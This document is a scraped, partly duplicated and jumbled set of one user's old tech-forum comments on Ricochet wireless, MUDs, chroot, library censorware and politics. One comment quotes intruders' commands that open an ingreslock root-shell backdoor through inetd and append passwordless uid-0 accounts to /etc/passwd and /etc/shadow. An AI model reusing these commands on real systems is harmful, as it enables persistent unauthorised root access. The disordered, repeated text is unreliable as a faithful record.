About a month after the shutdown, it was turned into an open/free network with no tech support or guarantees. Turns out that it's a lot cheaper to run a network when all you have to do is keep it up and not support the end users, collect payment, process signups, etc. I like it this way better. What EarthLink was running only cost a little less than Comcast and Verizon, so I didn't see much point to it.
MUDding is still going strong. I'm a staffer on an online, text-based roleplaying game called OtherSpace and we average about 75 players on a busy evening. And we're not the only one. Visit The MudConnector and you'll find out that there are thousands of MUDS out there.
It'd be pretty typical, wouldn't it? After all, Linux is really a result of reverse engineering UNIX, which came out of Bell Labs. Why not reverse engineer the next great OS to come out of Bell Labs?
Very sad. I'm writing this while logged in through the Ricochet network. It's been extremely reliable, and works wonderfully under Linux. Well worth the $75/month.
It's also performed very well -- I've gotten upwards of 200k over their network. I've been using it as my primary connection and am very disappointed to see it go down.
Looks to me as though they have all of the fields in/etc/shadow and/etc/password memorized. Knowing UNIX as well as they do does take some time, knowlege, and ability.
chroot - run command or interactive shell with special root directory At least according to man chroot. Chroot lets you change the apparent root directory. Suppose you boot your system from a floppy disk. Your hard drive is mounted at/mnt/hd or something like that. In order to work with your hard drive mounted on / (to fix LILO or something like that), you'd type:
It's a very good read, and gives me all sorts of nostalgic warm fuzzies, but most of the text files are grossly inaccurate or outdated. It doesn't come close to wiretap -- that's not its focus. Its focus is as a shrine, of sorts, to the BBS days.
-Patrick
They've been selling solar cells for laptops for a long time -- this is nothing new, but still interesting to look at for those didn't know these things existed.
MrSolar also has some laptop solar panels available -- kind of pricey, and he was a bit of a Y2k nut. Wanted to boost his sales, I guess.
I wasn't arguing over whether or not the MP3 movement is a revolution, but rather arguing against this statement by Delmoi:
The American revolution was nothing more then a bunch of freeloaders who didn't want to pay there taxies, after Britain spent hundreds of millions defending the country in the French and Indian war.
The American revolution was nothing more then a bunch of freeloaders who didn't want to pay there taxies, after Britain spent hundreds of millions defending the country in the French and Indian war. Please, there was nothing 'movement like' about this revolt.
I'm not sure if you're actually serious, or just trolling, but I'll risk responding to a troll to reply to this.
Although the motivation not to pay for the French and Indian War was present others factors were involved
Oppressive taxes (stamp taxes, etc)
Lack of representation in the British parliament.
Horrible diplomacy on the part of the British
Heavy-handedness
In short, I suggest you find a history book and do some reading, as I can't see how you can logically support your conclusion.
Please prove me wrong and post a more complete support of your argument.
Not only does the fact that they plan to implement filtering frighten me, but that they are dictating policy for every library in the state. Policy should be up to each individual library.
Oh well, this is probably nothing compared to what McCain would like to do. Picture a bill dictating policy for every library in the nation.
What ever happened to local governments having some degree of control?
Seriously making a game is a very labor intensive process
Well, so is coding just about anything. Yet a lot of volunteer open source work gets done. One example of this is the FreeCiv Project which came up with a rather interesting GPL'd clone of Civilization II.
As for one person revolutionizing the gaming industry, that's not exactly something that happens every day, but still a possibility, but I think that it's more likely that it has to be a group effort.
Sorry, but most of the presidential canidates are utterly clueless on internet issues
Gore - The Clinton Administration signed the Communications Decency Act into law.
McCain - Is strongly in favor of the use of CensorWare in libraries.
Bush - Extemely conservative, and I doubt he's clued in.
Forbes - Seems more clueful than the others. Maybe there's hope with him. *shrug* I personally like his flat tax plan.
There are others, but I don't think they're any more geek-friendly than the ones listed above.
It seems as though the majority of both parties are against us on issues such as CensorWare in libraries. The only solution is to make our voices heard in both parties.
Slashdot Mirror
Actually it's still up.
http://wirelessphiladelphia.org/about_wireless.cfm
About a month after the shutdown, it was turned into an open/free network with no tech support or guarantees. Turns out that it's a lot cheaper to run a network when all you have to do is keep it up and not support the end users, collect payment, process signups, etc. I like it this way better. What EarthLink was running only cost a little less than Comcast and Verizon, so I didn't see much point to it.
traders.jointhesaga.com If you'd like a place to play that's started up in the last month or so.
Try playing a MUSH some time, MUSHes have among the most intelligent group of people in a text based medium.
Shameless plug for my MUSHes: JoinTheSaga.Com
Lawyer? Why would God need a lawyer? Just enjoy the brimstone!
MUDding is still going strong. I'm a staffer on an online, text-based roleplaying game called OtherSpace and we average about 75 players on a busy evening. And we're not the only one. Visit The MudConnector and you'll find out that there are thousands of MUDS out there.
Want to know someone's friends or foes? Do the following:
1) Make them your friend
2) Click on the words 'friends' across from them
One can easily browse who's friend is whose.
It'd be pretty typical, wouldn't it? After all, Linux is really a result of reverse engineering UNIX, which came out of Bell Labs. Why not reverse engineer the next great OS to come out of Bell Labs?
I recieved this from my ISP. Looks like they will be shutting down.
Very sad. I'm writing this while logged in through the Ricochet network. It's been extremely reliable, and works wonderfully under Linux. Well worth the $75/month.
It's also performed very well -- I've gotten upwards of 200k over their network. I've been using it as my primary connection and am very disappointed to see it go down.
Although I'm hardly calling these guys UNIX experts, they're hardly "script kiddies".
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob. /etc/passwd; /etc/passwd; /etc/shadow; /etc/shadow;
/etc/shadow and /etc/password memorized. Knowing UNIX as well as they do does take some time, knowlege, and ability.
A few of the commands they typed
echo "r:x:0:0:User:/:/sbin/sh" >>
echo "re:x:500:1000:daemon:/:/sbin/sh" >>
echo "r::10891::::::" >>
echo "re::6445::::::" >>
Looks to me as though they have all of the fields in
-Patrick
chroot - run command or interactive shell with special root directory /mnt/hd or something like that.
/mnt/hd /bin/bash
At least according to man chroot.
Chroot lets you change the apparent root directory. Suppose you boot your system from a floppy disk. Your hard drive is mounted at
In order to work with your hard drive mounted on / (to fix LILO or something like that), you'd type:
chroot
I hope this helps!
-Pat
I for one am quite happy that they pushed this to the top. Perhaps it will neutralize some of Microsoft's stall tactics.
And why wouldn't the supreme court take this case? How could this not be considered unimportant?
Actually Elron is a pretty cool name. Reminds me of Elrond from Lord of the Rings.
Thunderbird? Duron? Athlon?
They sound like secret weapons from a bad sci-fi movie...
It's a very good read, and gives me all sorts of nostalgic warm fuzzies, but most of the text files are grossly inaccurate or outdated. It doesn't come close to wiretap -- that's not its focus. Its focus is as a shrine, of sorts, to the BBS days.
-Patrick
They've been selling solar cells for laptops for a long time -- this is nothing new, but still interesting to look at for those didn't know these things existed.
MrSolar also has some laptop solar panels available -- kind of pricey, and he was a bit of a Y2k nut. Wanted to boost his sales, I guess.
Patrick
I wasn't arguing over whether or not the MP3 movement is a revolution, but rather arguing against this statement by Delmoi:
The American revolution was nothing more then a bunch of freeloaders who didn't want to pay there taxies, after Britain spent hundreds of millions defending the country in the French and Indian war.
-Patrick
The American revolution was nothing more then a bunch of freeloaders who didn't want to pay there taxies, after Britain spent hundreds of millions defending the country in the French and Indian war. Please, there was nothing 'movement like' about this revolt.
I'm not sure if you're actually serious, or just trolling, but I'll risk responding to a troll to reply to this.
Although the motivation not to pay for the French and Indian War was present others factors were involved
In short, I suggest you find a history book and do some reading, as I can't see how you can logically support your conclusion.
Please prove me wrong and post a more complete support of your argument.
Patrick
It does! I was thinking the exact same thing when I saw Simson Garfinkel. It must be a conspiracy...
Not only does the fact that they plan to implement filtering frighten me, but that they are dictating policy for every library in the state. Policy should be up to each individual library.
Oh well, this is probably nothing compared to what McCain would like to do. Picture a bill dictating policy for every library in the nation.
What ever happened to local governments having some degree of control?
-Valur
Seriously making a game is a very labor intensive process
Well, so is coding just about anything. Yet a lot of volunteer open source work gets done. One example of this is the FreeCiv Project which came up with a rather interesting GPL'd clone of Civilization II.
As for one person revolutionizing the gaming industry, that's not exactly something that happens every day, but still a possibility, but I think that it's more likely that it has to be a group effort.
-Valur
I had a sneaky suspicion that he did, but wasn't completely sure. Didn't want to spread misinformation. Thanks for the info. -Pat
Sorry, but most of the presidential canidates are utterly clueless on internet issues
Gore - The Clinton Administration signed the Communications Decency Act into law.
McCain - Is strongly in favor of the use of CensorWare in libraries.
Bush - Extemely conservative, and I doubt he's clued in.
Forbes - Seems more clueful than the others. Maybe there's hope with him. *shrug* I personally like his flat tax plan.
There are others, but I don't think they're any more geek-friendly than the ones listed above.
It seems as though the majority of both parties are against us on issues such as CensorWare in libraries. The only solution is to make our voices heard in both parties.
I was a moderator Monday, and I thought the fake inverview was funny. ;)
Ooh, I'll take it, as long as it's accepted as a valid user id by admin.pl ;-)